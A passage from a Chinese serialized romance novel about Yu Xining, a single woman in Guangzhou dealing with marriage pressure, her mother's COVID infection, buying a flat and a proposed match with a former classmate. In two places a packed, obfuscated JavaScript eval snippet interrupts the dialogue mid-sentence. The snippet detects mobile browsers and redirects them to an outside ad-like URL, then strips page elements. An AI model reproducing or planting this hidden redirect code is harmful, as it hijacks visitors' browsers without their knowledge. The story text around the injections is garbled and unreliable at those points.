“不怎么样,介绍人说得天花乱坠,结果信息全是不对称的。” 从陈梓钰相亲开始,余希柠对这种行为就很排斥。 在这样一种方式下,女孩在婚姻中的商品属性变得格外明显,上桌就摆出各种“卖点”,有时候连父母职业,有没有退休金都成了评判的标准之一。 年龄小是紧俏货,坐上这张桌子就是为了抓住第二次改变命运的机会,企图得到一些荫庇。年龄大就成了下位者,由着上位者挑挑拣拣,提出各种不合理的说法。 余希柠就遇到过一次,对方明明还比她大一岁,结果反过来嫌弃她年纪大,说什么属鸡的不找属狗的,家里会鸡犬不宁。 这成语原来是这么用的?余希柠叹为观止。 实际上人家就是看不上余希柠的家庭和职业,觉得太过一般,配不上。 “相亲嘛,本着诚意把各自条件像价码一样摆上桌,看上了觉得合适就来,不合适就算,结果还整虚假糊弄浪费时间。” 余希柠摇摇头,吐出一口气:“我妈还说我太挑剔,本来条件也一般,怎么敢想要那么好的。我现在跟她越来越无法交流了。” “阿姨也是为你好吧。” “打住,我现在第二讨厌听到的就是‘为你好’这三个字。” 余希柠抬起手指佯装警告许于薇。 “其实我真觉得现在一个人过很舒服,不需要花太多时间精力在社交上,除开工作,我健身跟看剧都要挤时间。” “你该不会是在找借口,或者变相安慰你自己吧?” 许于薇一脸不相信的样子。 余希柠拿出手机,点点屏幕,语气还挺理直气壮:“你自己上网发个帖,问问单身快不快乐,听听大众的心声。” “可你剪的那些剧情短片,疯狂磕CP,看不出来是对恋爱不感兴趣啊。” 许于薇知道余希柠的马甲,坐月子的时候还是因为她的视频入坑的电视剧。 “磕CP不干恋爱什么事哈,就跟看小说一样,看别人的爱情是一回事,自己的情况是另一回事。” 许于薇听不下去,喝掉杯中剩的最后一口果汁:“等我们全部人都结婚生孩子,你就该着急了。” 宋乔推着余希柠面前的酒杯,问:“你我过年遇到你妈,她还佯装生气地问我,怎么跟你这么好,却没给你介绍对象。我当时都不知道该说什么。” “嗯?这事儿你之前怎么没跟我说?” 余希柠头一回听,眉头都皱在一起了,不知道陈慧柔对外急成这副模样。 “我哪敢跟你说,那段时间你不是老因为这个话题跟你妈吵架,我说了不就是激化矛盾?” 宋乔和余希柠碰了碰杯:“但我还是坚持,谈恋爱一定是基于你对这个人有感觉,喜欢,才交往,不以其他目的为基础。谈不谈是你自己的事情,但你要真的开心,别是受了影响而急于寻找一种说辞伪装。” “不愧是我的好朋友,我也就只能跟你们说这些了。” 余希柠喝完最后一杯,真像醉了似的歪靠在墙边,眼神迷离,手指攥着酒杯不停地摩挲。 “我想在广州有一个属于我自己的房子,不用大,只装得下我跟我爸妈就行,把他们带来广州生活,做我在这座城市里扎下的根。” “你喝醉了吧,原先拼命想要逃离你父母的是你,现在要把他们接到广州来生活的也是你。”许于薇伸手在余希柠额头上弹了一下,试图让她清醒些,“怎么喝了酒还变成大孝女了?” “不是,是因为我在这里找不到根,我没有那种……归属感,我不知道你能不能理解,毕竟你现在家都有了。” 许于薇想辩解,宋乔拦下她,做了个嘘声动作,示意先听余希柠讲。 “和我姐、我弟住在一起的日子,是我来广州觉得最开心的时候,尽管中间发生了一些不愉快,但瑕不掩瑜。不对,不能这么说,应该是一家人,哪有不吵架没矛盾的时候。就很有烟火气,有依靠,有后盾……” 余希柠说着说着,泪眼婆娑,脑海里一下涌出很多件从前的细微小事,那时觉得微不足道的,如今放大来,每一件都能让她眼眶泛湿。 “我姐结婚后,我们一个月见不到两次面,聊天也是,以前我们几乎天天聊,但现在她要顾家,照顾小孩,有时候信息都是已读不回的。但我能理解。包括我弟要回家创业,我也理解,就像我当初说要去北京一样,不也抛下过他们。” 余希柠托着脑袋,自顾自地讲着:“现在看来,有点像是因果循环,最先想抛下的那个人,成了最后被抛下的。” “宝贝,你怎么会……”许于薇起身坐到余希柠旁边抱住她:“这话怎么能从你口中说出来。” “为什么不能啊,我也不是一辈子都没心没肺的。”余希柠吸吸鼻子。 “但跟父母住一起,真的……” 许于薇啧啧嘴,求助于宋乔。 宋乔也无比怜爱地看着好友,最知道余希柠心情的,也是她。 “我大概能理解,如果自己没有强大到向下扎根,想依附旁人,没有伴侣的时候的确只剩下父母。” “主要是……小镇里的人太闲太碎嘴了,每天就盯着邻居那几点事情,考试、结婚、就业、家庭……我妈不懂得换位思考,但我会啊。” 余希柠坐直了身子,反勾手指头指着自己:“如果我朋友们都当外婆当奶奶了,孩子们都结婚了,我也会焦虑。她们催我的时候,我也会心急,就是大环境,大环境让人觉得,女孩到了二十六七岁就得结婚了,超过三十就没有人要了,不管我有多优秀,他们统统都看不到,因为我外壳就写着单身,就该嫁人。” 许于薇听懂了余希柠话里的意思,拍抚着她的肩膀轻哄。 大厅里的音乐持续躁动,舞池里的人嗨得上头,一半人兴奋激动,一半人沮丧发泄,人都是有压力,都是需要释放的。 很多带了情绪的话都不一定能当真,但不是当事人,又有谁能说清楚。 “试试吧,试试把你父母接来广州住一段时间,看你说的这些情况能不能缓解。”宋乔摸了摸余希柠的头,耐心道:“和父母沟通,是一辈子的人生课题,少数人能答满分,多数人都做得稀里糊涂。” 余希柠笑道:“你不当心理咨询师,真是太可惜了。” “我这技能啊,只对你们这帮朋友开放,到了别人那,兴许都不愿意听我多说一个字。” 三个人又默契地碰杯,余希柠见气氛被自己拉得很低,赔笑道:“对不起啊,本来是庆祝于薇出月子的局,变成听我发牢骚了。” “说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153768|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么呢,你能说我挺开心的,我都怕结婚有了孩子之后,你们都觉得我忙没时间玩手机就不跟我聊天疏远我了,我真的很想聊天很爱吃瓜!” 许于薇装作很伤心的样子:“你们知道嘛,我们群因为不活跃,被一堆代购群、母婴群挤到聊天页面第二页的时候,我有多急!” 宋乔:“就是,有什么心事及时说,我们是结婚了又不是绝交了,你还是比老公更重要的。” 闺蜜局结束,没喝酒的许于薇负责把人送到家,余希柠先到,两人把她送到家门口看着她进门才走。 “是我的错觉吗?” 许于薇挽着宋乔,晃眼宛若回到了学生时代,上高中那会,她们也这么手挽着手说小声话。 “希柠的情绪不太对,就……有点消极。” 宋乔点点头:“家家有本难念的经,她家是有太爱她的父母,爱多了便成了掌控。” 许于薇:“她以前是多敢想敢做的人啊,我就喜欢她身上那股劲,现在不知道怎么,看不到了。” 宋乔:“希望她能找到一个合适的解决办法,我有时候很羡慕她这样的家庭,但有时候又不羡慕。” 许于薇摇摇头:“学生时代羡慕过,现在不会了,祛魅。” 兴许是喝了酒,余希柠这一觉睡得很沉,第二天快中午了才醒,好在是周末不用去上班。 手机没电了直接关机,余希柠一边充电等开机,一边脚尖点地少有不安。 她没有关机一整夜的习惯,有时就怕家里突然来什么电话,特别是陈慧柔,找她没回的时候就会胡思乱想。 之前有一次就是,余希柠手机欠费停机忘了充钱,刚搬家还没来得及连网,陈慧柔找她联系不上,电话也打不通。等了几个小时还是这样的情况,急得四处联系人,把陈梓钰、陈慧琪都叫了,就怕余希柠一个人住出什么事。 结果两拨人赶到时,余希柠正在拆洗纱窗大扫除,忙得不可开交。 自那之后她的手机就不敢出现欠费停机、没网联系不上的情况。 噔噔噔—— 手机刚开机,信息一股脑弹出来,余希柠点开看,喝水的动作顿了下,二话不说赶紧给余序洲回了个电话过去。 聊天对话框里,是余序洲发来的消息。 “你妈阳了。” 陈慧柔以为自己只是得了普通感冒,毕竟刚打完疫苗,怎么可能中招。可喝了中药之后身体不仅没好转,反而病症加剧,在余序洲的督促下,很不情愿地测了一下核酸,结果两道杠。 天塌了,陈慧柔根本接受不了这个事实,一年多来关于新冠的新闻历历在目,从观念上就觉得是非常严重且可怕的病。 心理负担加之身体情况差,直接卧床不起。 余序洲联系余希柠,也是想问她广州那边能不能买到药,饶平这边暂时供应不上。 余希柠二话不说,把手头上的药码出来联系顺丰寄了特快回去。之前她就给家里备了一份,陈慧柔非说用不上,粤东偏僻,小镇人口不多,她进出都戴了口罩不会有问题。 “妈妈现在怎么样?” “身子酸痛提不起力气,不停地出汗,刚喝了药睡下了。” 陈慧柔不让余序洲进出房门,生怕他传染上,坚决要他在家也戴口罩。 余序洲没听,觉得这种住一块的,一旦有人中招,另一个人防了也是白防。 “爸,话不是这么说的,如果你免疫力好体质好,也不容易被传染,家里不是两个房间能睡吗?你先去另一个房,然后吃饭也跟妈妈分开。” 余希柠叮嘱余序洲不要掉以轻心:“每个人阳的情况不同,身体反应不同,但阳后普遍身体素质都会变差。所以还是要做好防护,阳了也不要怕,多注意休息,听说盐蒸橙子很有效果,给妈妈试试,反正就是要多休息,先不要干活。” “知道了,你在广州也要多注意,出入戴紧口罩。” 余希柠还是很担心:“嗯,有什么情况随时跟我说,昨天手机没电了我忘了充,之后不会了。” “好。” 之后一周里,余希柠每天都跟家里通电话、发消息,关注着陈慧柔阳后的身体情况。 多汗、犯晕、失眠等症状持续了一个多月,陈慧柔整个人瘦了一大圈,心态也很差,余希柠不放心,请了几天假回去。 49. 说亲 当她提着包包出现在家门口时,陈慧柔又惊又喜,下一秒却埋怨:“都说我已经快好了,你怎么还要回来,现在外面疫情那么严重,你就不该跑回来的。” “我戴着口罩呢,免洗酒精消毒洗手液也随身带着。” 余希柠换好了鞋子站在家门口,歪头问:“还是说我都来了,你还不让我进?” “进来吧。” 陈慧柔的精神状态确实很差,看上去无精打采,余希柠来之前她正躺在床上休息,屋里窗户紧闭,余序洲不在家,屋里没点人气,冷飕飕的。 余希柠放下包,洗干净手后把客厅和其他房间的窗户都开开。紧接着把买来的水果洗好切块,端到陈慧柔面前。 “补充维生素。” “你请假了?外面就业形势那么差,你还动不动就请假,我这不都好了吗你还回来做什么。” 陈慧柔边叹气边埋怨,下一秒又想起来:“你的床现在是你爸在睡,你没提前说,现在都来不及洗晒。” “没事,我晚上跟你睡也行。” “那不行,我刚好,万一过了病气给你。”陈慧柔推开余希柠,“你别挨我这么近。” “夸张了啊陈女士,我都担心自己回来带了外面的病菌,站门口喷了好几次酒精才敢敲门,事实上,你现在正是有抵抗力的时候。百毒不侵!” 陈慧柔苦笑。 “晚上想吃什么,我来做饭,我跟你说我现在厨艺可好了,再也不是当初那个在家里十指不沾阳春水的小姑娘了。” “别,你在外面工作辛苦还要自己做饭打扫卫生,回家后才更不能让你做这些。让你爸去做,既然回来了,就当休息。” 陈慧柔拦着余希柠不让她进厨房,余希柠无奈道:“你怎么还跟之前一样啊,我没那么娇贵,煮个饭而已。我饿了,等爸回来太晚了。” “那我来做。” “歇着吧陈女士,别添麻烦了。” 余希柠打开冰箱看了一下存货,随口说了几样菜:“蒸一条鱼,西蓝花炒虾仁,鸡毛菜煮牛肉丸作汤,胡萝卜炒肉丝可以吗?” 陈慧柔:“行。” 晚饭后,黄沐卿给陈慧柔拨了个视频电话,想着问她今日身体情况,无意中透过镜头看见了余希柠的身影。 “希柠回来了?” “对啊,说是担心所以请假回来看看,都没跟我说,不然肯定不让她跑回来。” “哎哟还是养女儿贴心啊慧柔,真的,我家许自衡都没过问过一句半句。”黄沐卿一想起儿子就头疼,“更别说像希柠这样,每年还张罗着带你跟序洲老师出去旅游了。” “疫情没去成。” “那也是有这份心的。” 陈慧柔低头笑了笑,想起什么,同黄沐卿打听:“广州现在房市怎么样?” “想买房啦?” “就当提前给她置办嫁妆吧。” 陈慧柔早有这个打算了,在陈梓航搬离广州,只剩下余希柠一个人住时,她就想过攒钱帮余希柠按揭首付。 “她一个人租房我总是很牵挂,我应该没跟你说过吧?” “什么?” “她现在不是一个人租房住吗?刚搬家的时候,被一个物业的工作人员盯上了。因为是一居室,所以登记时对方问得很仔细,是不是一个人住之类的。后来就常去她楼下蹲点,看见她回家了就立马给她发信息,看见她家灯亮了就约她出门喝咖啡。” 陈慧柔如今说起这事都觉得后怕,更别说当时听到有多担心了。 余希柠怕她多想担心,是等装了监控,拉黑对方,观察了一段时间发现没动作时才跟家里人说起。 电话另一头的黄沐卿语气一下严肃起来:“这小区这么危险的吗?后来有没有跟物业反馈这个人的情况?举报了没?” “没有,她不是一个人吗,举报的话怕对方打击报复。” 陈慧柔当时都想过收拾行李去广州,陪余希柠住,但余希柠拦着不让,说屋子太小,那张床一米三都不到。 “每次搬家都很麻烦,她一个人大包小包地收拾,漂泊不定的感觉。”陈慧柔轻叹了口气:“我现在都后悔当初没听你的话,在广州按揭买房做投资,那会房价多低啊,现在翻几倍都不止。钱放股市里被套得死死的,冤大头!” 黄沐卿搬去广州几年后就大致摸清了几个片区的情况,怂恿陈慧柔和她一样按揭一套小面积的二居室,等将来余希柠工作的时候能住。就算不住,租出去收租金也不错。 陈慧柔没这个胆量,觉得首付对她来说就是天文数字,她和余序洲当时一个月的工资才多少钱,根本就不敢想。 投资需要胆子大跟眼界开阔,陈慧柔自认做不到,如今就只有后悔的份。 “现在二手房很难卖出去,地段好一点的房子价格都高,买偏远一些的二手房又没必要,还要摊上一笔装修费。不如看看新房,只要是地铁盘,交通就是方便的,远一点也没关系,例如老黄埔那边,这阵子就有好几个新盘。” 黄沐卿这阵子正好有研究,主动道:“要不等希柠回来,找一天我带她去看看怎么样?” “那可太好了,有你在我定然是放心的。这事我其实还没跟序洲说,算我的私心吧,希望希柠能稳定下来,按揭套房也算是在广州扎稳脚跟,以后也不会说想去北京发展了。” 黄沐卿:“怎么,她现在还有这个想法?” 陈慧柔小心翼翼地探头看向房外,生怕说的话被余希柠听到,抬手捂着手机话筒位置,压低声:“现在没有,我就担心她哪天还这么想,毕竟兄弟姐妹都不在身边,她一个人自由身,容易萌生念头。” 黄沐卿又问:“个人问题,还没动静吗?” “没,介绍的都看不上,也不知道她在挑什么,我对比了一下,其实也有不错的,天底下哪有十全十美的人,不都是过过日子。” “慧柔啊,你这想法就跟不上现在的年轻人了,过日子是不图十全十美,但图眼缘和聊得来,三观正。她要是先入为主觉得不好,那你强扭的瓜也不甜,再说了,你女儿找对象,由得你在这里做对比吗?又不是我们找。” 黄沐卿宽慰陈慧柔,多了个心眼,问道:“她排斥相亲吗?” “那倒没,只是很容易烦躁,我俩总因为这个事吵架。” 黄沐卿:“行,那房子的事就交给我,等她来了广州你让她跟我联系,我带她逛几个新盘,到时候听听她的想法。” 买房是余家大事,也是余序洲和陈慧柔这么多年最大一笔投资。 “坦诚说,这辈子我都不敢想能在广州有一套属于自己的房子,一辈子老实本分挣这几个钱,老了老了还要当房奴。” 余序洲的思想相对保守,站在他的角度,觉得这房其实没有买的必要,因为余希柠总有一天是要嫁人的,只要男方有房子就行。 陈慧柔不这么认为,她就余希柠这一个孩子,想力所能及给到最好的。 “你大哥家买房,瞒着清越不让人告诉,在儿童屋摆了张上下铺就说是她的房间,我反正是干不出这种事。” 前年余序南从深圳回来,在家这边找了份工作,薪水还算过得去。又用攒了这么多年的钱按揭了一套新房,三居室,全家人瞒着没跟余清越说,外人却不知道他们还防着自家女儿。 等到过年余清越回来,去爷爷家拜年,听说了这事,这才知道家里买新房了。本该是件阖家开心的事,但就自己不知道,明显是被当成了外人。 余清越回家问黄蕾,黄蕾支支吾吾的,就说原先的老房子太破太旧了,好不容易有个不错的楼盘,价格也合适就下手了。这首付的钱还是四处东拼西凑借来的,生怕让余清越知道家里这些年攒了不少钱买这房子,不然余清越以后就不会寄钱了。 后来房子装修好了,余序南邀请余序洲和陈慧柔过去参观,三居室,主卧是余序南夫妇的房间,次卧是小儿子余胜远的房间,剩下一个小房间,面积小得只放得下一个上下铺。 陈慧柔当即有些不可思议道,这不会是给清越留的吧? 黄蕾却表示,主要当书房用,清越偶尔回来就住下铺,以后也能做儿童房。 余清越还没有结婚,这家里就已然没了与她有关的规划,余序南夫妇宁愿愿意往远想考虑余胜远结婚生子,也不关照眼前还没出嫁的女儿。 陈慧柔心里像吞了只苍蝇一样难受,连坐下喝茶都没有,借口家里还有事就拉着余序洲走了。 如今一提起这事,陈慧柔就满脸嫌弃,替余清越觉得不值,多好的一个孩子,上大学就勤工俭学给家里寄钱,工作了也是,结果换来父母这样的区别对待。 “希柠在广州有一套属于自己的房子,以后就算嫁人了,亲家也是能高看她一眼。我们努力了大半辈子,不就是希望能做女儿的底气跟后盾?嫁人怎么了,嫁人也是我们的女儿,跑不了!” 说到最后三个字的时候,陈慧柔还特地加了重音,余序洲猝不及防地笑了下。 “知道的,清楚你是在为希柠攒底气,不知道的还以为你要绑定她一辈子。” 陈慧柔道:“等她哪天有了伴侣,有了属于自己的家,我也就不用再操心了。” 2022年底,国家卫健委宣布解除对新冠感染的甲类传染病防控措施,简单说,就是彻底放开了。 起早贪黑排队,大喇叭广而告之做核酸的日子已成过去,凭绿码通行,被赋红码就胆战心惊的时期已经结束。 在陈慧柔和余序洲的帮衬下,余希柠在广州有了一套属于自己的小房子。 行程码退出日常生活,出行自由恢复后,黄沐卿回了趟饶平,两手拎满东西到陈慧柔家做客。 “今年总算能回来一趟了,前两年在广州感觉都没有什么年味,家家户户房门紧闭,也没有走亲串门的习惯。” 陈慧柔:“家里这边不也是吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15157959|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都是电话拜年。你说你,来就好了怎么还拿这么多东西,论礼,应该我和序洲上门才对。希柠买房的事,你帮了大忙了。” 之前黄沐卿在电话里说让余希柠回广州后联系自己,然后带她去看房,并不是说的客气话。她后来确实连着两周的周末都开车带余希柠去几个当下比较热门的地铁盘踩点看情况,最后根据价格范围、地理位置、周边配套建设选了一个新盘。 “这事儿啊,我也不敢邀功,是希柠自己的想法。你们家这个盘起初都不在我的考虑范畴内,也不知道她上哪了解到的,我跟过去一看,哎还不错!是刚需佳选。事实证明,孩子们啊比我们想象中的成熟,有头脑,懂钻研。” 能让黄沐卿这么夸,陈慧柔欣慰不少:“还好她不像我跟她爸,优柔寡断,拿不定主意。” “慧柔,有个事我想问一下你什么想法。”黄沐卿存这心思很久了,直到上次见了余希柠,越看越喜欢,“我想给她和屿沉牵线,你觉得怎么样?” 陈慧柔听了,起初还很兴奋,但冷静下来想想,又不太确定:“你之前说屿沉出国了,他现在是回来发展了?” “对啊,也在广州。”黄沐卿端正姿势,表明态度:“这要是我自己的孩子,我肯定一早就跟你说了。” 陈慧柔犹豫道:“但他俩本来就是同学……这要能发展,不早就……” 先前她还问过余希柠,有没有和林屿沉联系过,余希柠说没有,听语气,不像说谎。 林屿沉从读书时就比余希柠厉害,后来又出国读研,不同阶层的人有不同的社交圈,陈慧柔始终是这么认为的。 “或许是没有合适的机会呢,毕竟后来学校也不一样。你要是觉得可以,我就去问问屿沉的意思,你打听希柠的想法?怎么样?” 黄沐卿是陈慧柔最好的朋友,林屿沉又是她的外甥,面上自然不好拒绝。 但陈慧柔也有自己顾虑的地方,毕竟林屿沉的父母不是像黄沐卿和许浩然那样的职业背景,原生家庭条件这块,她也是要稍微考虑一下的。 “屿沉现在在做什么?他父母呢?我之前经过时注意到,菜场街那边的铺面好像都租出去了,不是他们夫妇在经营。” “对,菜场街的铺面是租出去了,我妹夫后来在绿湾那买了套房子,又在底商那租了个小门面卖茶叶,日子过得还不错。屿沉的话,他读研的时候就没花过家里的钱了,听说炒股投资赚了不少。” 说起这个外甥,黄沐卿是一脸的骄傲,控制不住的那种:“刚毕业说是做金融,前一阵说是要创业,年轻人有自己的想法,不像我们那会,只知道选铁饭碗稳当。” 陈慧柔摇头,和黄沐卿持不同意见:“我现在都觉得铁饭碗好,特别是疫情后,你大城市回来的就知道就业环境有多差了,我总担心希柠现在这份工不稳,哪天失业就麻烦了。” 她想起这个就觉得焦虑,生怕哪天未婚跟失业两件事都落余希柠头上。 “屿沉创业的情况,你了解过吗?” 陈慧柔对“创业”这个词很敏感,一如陈梓航说要回来创业的时候,她就不太看好。本来在大城市赚得好好的,非要回来,那当初努力考出去是为了什么。 其次就是创业,需要大本金投入,还得做好亏本的准备,没点心理承受能力做不来这件事,一步行差踏错,满盘皆输,全家都得跟着喝西北风。 “我知道你的担忧,如果他想跟希柠谈的话,我一定事无巨细了解清楚再告诉你。”黄沐卿拍拍老友的手背,“我办事,你还不放心嘛。” “好。”陈慧柔轻笑。 “正月不谈亲,我回去就抓紧把这件事落实清楚,你也问问希柠的意思。” 陈慧柔抿了抿唇,内心颇为无奈:“我还是等你问了,再跟希柠说,她现在油盐不进,动不动就因为这个事跟我吵架。” 黄沐卿略微思忖,轻声道:“也理解,我们做父母的着急,他们也有压力。” 黄沐卿离开后没多久,余序洲就回来了,陈慧柔把这事和他说了一下,余序洲的反应和她一样。 “创业啊?那就是没有稳定的工作,更别说体制内了。” “对啊,但孩子不是优秀嘛,说是读研究生的时候就没拿过家里一分钱了,炒股投资也赚得不少。” 陈慧柔就是照搬黄沐卿说过的话,余序洲却听笑了。 “现在股市有多差不用我说吧?天天在那跌破,能赚什么。” 陈慧柔:“她就这么一说,指不定是两年前的情况。再说了年轻人的炒股思维,打法灵活,炒短线的话指不定真赚了。” 余序洲洗手洗脸,态度开明:“是你闺蜜的外甥,都是饶平人又知根知底,我没什么意见,先相处看看吧,这大环境,我始终觉得有份稳定工作才理想。” 余序洲的话不无道理,陈慧柔一边洗菜一边慢慢思索,试图多个角度去分析这桩姻缘是利大于弊,还是弊大于利。 50. 争论 晚上八点,陈慧柔心里已经有了盘算,白天还和黄沐卿说,先问清楚男方的情况,她再和余希柠说。 结果电话里直接就把这事跟余希柠说了,不过说得很委婉,大致意思就是先各自问问想法,再撮合。 起初听到,余希柠还愣了一下,生怕陈慧柔是在拿她开玩笑:“林屿沉?真的假的,他本人知道且同意这事儿了吗?” “你沐卿阿姨去问了,看他那边什么情况先。但我也想听听看你的意见,万一你不喜欢,那我也好直接回绝。” 余希柠支支吾吾半天,含糊道:“都还不清楚他的情况就乱点鸳鸯谱……我,我没什么意见,你们先问了再说吧……” 陈慧柔松了口气:“好好好,你不排斥就行,那等沐卿阿姨回复了,我再跟你说。” “嗯……” 挂断电话,余希柠看着手机屏幕发呆,迟疑了几秒,反问自己,刚才说的那个人是林屿沉吧? 不是同名同姓。 她的心跳得飞快,像是隔了很多年,忽然有人误打误撞地掀开她遮盖住年少心事的薄纱,纱尾带过一池春水,漾得情绪一下下起伏。 余希柠开始想象着林屿沉会怎么回答,如果他正好也是单身,如果他也接受家里的安排…… 再如果,他发现对方是自己。 余希柠头上还包着干发巾,抱着抱枕,栽倒在沙发上,光是想象都觉得这个情景很荒诞。 世界还是太小了! 她拿出手机,在列表里翻到林屿沉的微信号,头像、背景和之前一模一样没有更换过,朋友圈依旧没有内容。唯一证实它不是僵尸号的,就是两年前那条朋友圈点赞。 余希柠很久没有上过□□了,现在大家基本都用微信,她和林屿沉上一次联系也是几年前。 翻完社交账号上所有信息后,她逐渐放松下来,再没有一开始听见消息后那么心动跟无措。 手机又响,还以为陈慧柔这么快就有反馈了,拿起来一看,是许于薇。 “嗨,于薇。” “柠宝,你车票订了没?” 许于薇时不时就会给余希柠换称呼,全凭当下喜好,她喊自己小孩也带了个宝字。 真把余希柠当小孩宠了。 “嗯,订了年初一。” “哈?我没听错吧,除夕都不回家过?” “没抢到票,而且我本来也不想太早回。” 过年就二十九了,余希柠几乎能想象得到三姑六婆催结婚的画面,心里立马烦躁起来:“要不是这些年变怂了,我都想直接订票出去旅游,不回家过年。” “哈哈哈哈你确实变怂了,搁上学那会,没准你现在攻略已经做完了。” 余希柠换了个姿势躺在沙发上,阖着眼:“疫情后我妈身体就不好,吵架也得掌握个度,我现在就是明知道她的观点不对,也得强忍着。” “可怜的柠宝。” “说吧,找我什么事?总不会就是为了听这一两句牢骚来的吧?” 有时余希柠都嫌弃自己太过唠叨,生怕朋友们因为她这两三小事听厌烦了不来往。好在宋乔、许于薇和郑重都会及时回应她,帮忙调解。 “差点忘了正经事。” 许于薇言归正传,语气端正认真:“县委宣传部有个老师找到我,说想找几年前帮潮剧团拍宣传片的老师,我想了下,不就是要找你吗?” “要找我拍视频?” “对,说疫情放开了,今年准备重新组织春节文艺队伍贺新春拜年活动,借助新媒体的力量传递县城非遗文化的魅力。他们知道之前那条宣传片拍摄者是饶平人,所以希望这次也由自家人来掌镜,想问问你的档期和价格。” 说到这儿,许于薇都笑了:“我好像有种当你经纪人的感觉。” “呃,我也不是专业的……” 余希柠下意识想拒绝。 许于薇:“你上次也是用这句话搪塞我的,但事实证明你拍的就很好啊。别人也是看中那条片子才来找你的。” “其实这些年饶平公众号做得很不错,在新媒体这块他们应该有自己熟悉的供应商。找我……不会是知道了我在网上的马甲吧?” 余希柠有些许怀疑,那纯粹是她二次元精神世界,如果让三次元的人知道了,感觉有点社死! 许于薇判断道:“应该不是,她很明确说了,是因为潮剧团的视频才找过来的。不过你这话倒给了我新想法,你之前不还在说,想做个新的选题吗?总是做剧情剪辑或者接影视剧的商单,有点乏味。要不……” 余希柠:“你的意思是说,做非遗文化传承?” 许于薇:“对啊!借此机会,你多拍一些视频发网上试试水,间接也算宣传饶平非遗文化了。” “我之前不是没想过,但这种,要做就得做精,我目前还没有这个时间。” 余希柠所说的做精,是指不单单拍表演节目本身,也要拍文化背后的故事,包括它的传承,发展现状以及未来趋势。 她想过这个选题,也很快就放弃了,一方面是需要花时间去了解,另一方面是觉得它太小众,未必能做出圈。 许于薇:“先试试嘛,对了,我给你推负责人的微信,你们自己聊聊看?” “好。” “我没和她说你本名叫什么,用的是你当初宣传片上用的化名。” 余希柠很注重三次元的隐私,这点许于薇还是清楚的。 陈慧柔等了两天才等来黄沐卿的回复,从一开始的满心期待到后来的忐忑不安,伴随着这一通满含歉意的电话,最终落定—— “他说他才刚开始创业,暂时不考虑谈恋爱。是我鲁莽了慧柔,你不会怪我吧?” 陈慧柔讪笑了两声:“怎么会,不也是说好等你问清楚再说。” 她没对着镜子,都不知道自己笑得有多牵强:“这也说明孩子们没缘分,要有,他们原本就是同学,哪里还需要我们做大人来牵线。” 这话,表面上看是说给黄沐卿听,实际上也是变相安慰自己。 余序洲散步回来,推门就见陈慧柔无精打采地坐在沙发上,刷手机看短视频,内容一直在重复播放,她人也在走神。 “想什么呢?这视频都播了两遍了。” 余序洲走过,探头看了下,就一个橙子广告也没有反复观看的必要。 “沐卿刚给我回电话了。” 陈慧柔的声音听上去有气无力的,也不用她接着往下说,余序洲立马反应过来:“上次的事情没成?” “嗯,说是屿沉自己说的,刚创业还不想谈恋爱。” “就这一个原因?” 余序洲脱下外套抖了抖,随手搁在一旁沙发扶手上,只穿了件深蓝色的羊绒衫,没开灯的情况下衬得脸色更黑。 “对啊,我好不容易说服自己,觉得屿沉这孩子学历高能力强,虽说原生家庭不怎么样,但本人努力上进就行。”陈慧柔拉着个脸唉声叹气,“起码是个知根知底的,总比其他人介绍的强。” 余序洲看得比陈慧柔淡,安慰道:“这种事也不是你们俩好友说了算,还得看孩子自己,不谈就不谈咯。” “你一点都不着急吗?过年她就要二十九了,一眨眼要三十了。梓钰跟清越都结婚了,就她连男朋友都没。” 陈慧柔蹙紧了眉头,一脸愁闷:“别人家的小孩怎么事事都那么顺利,到了我们这,都是过不去的坎。” 这些话余序洲不知道听了多少遍,上一次陈慧柔和余希柠吵架,余希柠直接买票回广州的画面还历历在目。 “你总是操心这些也没用,眼下要过年了,别到时候又跟希柠吵起来。” “每次恶人都是我做,你当爸的你也有责任啊!教育孩子是我一个人的事吗?她的婚姻大事是我一个人操心吗?” 陈慧柔心中泛起了层层委屈和不甘心,甚至还有埋怨。 觉得余序洲对这个家毫不在乎,对女儿的成长、婚姻也没有半点帮扶的意思,相比陈敬涛当初在帮陈梓钰找对象这件事上,余序洲简直做得太少了。 都是当老师的,陈敬涛广结善缘,甚至动用了学生群的力量帮陈梓钰介绍对象。而余序洲呢,什么人脉都没有。 “你这个当爸的,一点用都没!” 陈慧柔站起身,狠狠推了余序洲一把,进屋把门砰的一声关上。 余序洲站在走廊过道,无奈地叹口气。 这晚,陈慧柔怎么也睡不着,梦里反反复复把这些年给余希柠介绍过的,被她拒绝过的相亲对象都拉了出来,按照家境、自身职业、身高外貌、有无房车等条件重新排了一遍。 第二天恰逢周末,陈慧柔一大早就给各自介绍人打电话,假借聊天寒暄旁敲侧击地打听对方现在还是不是单身。 毕竟陈梓钰和张城当初也是分分合合,吃了回头草才结的婚。 陈慧柔觉得余希柠也可以。 遗憾的是,这些“男嘉宾”现在都有了稳定交往的对象,有的甚至已经在谈婚论嫁的阶段了。 陈慧柔挂断电话,心头一股气堵得慌。 陈敬禹夫妇破天荒开车来饶平,说是去看丈母娘,顺道就去了陈敬涛家,正好饭点,王君力邀他们留下来吃饭,也给陈慧柔和余序洲打了电话。 三家人久违地坐在一起吃饭,难免会谈及孩子的事情。 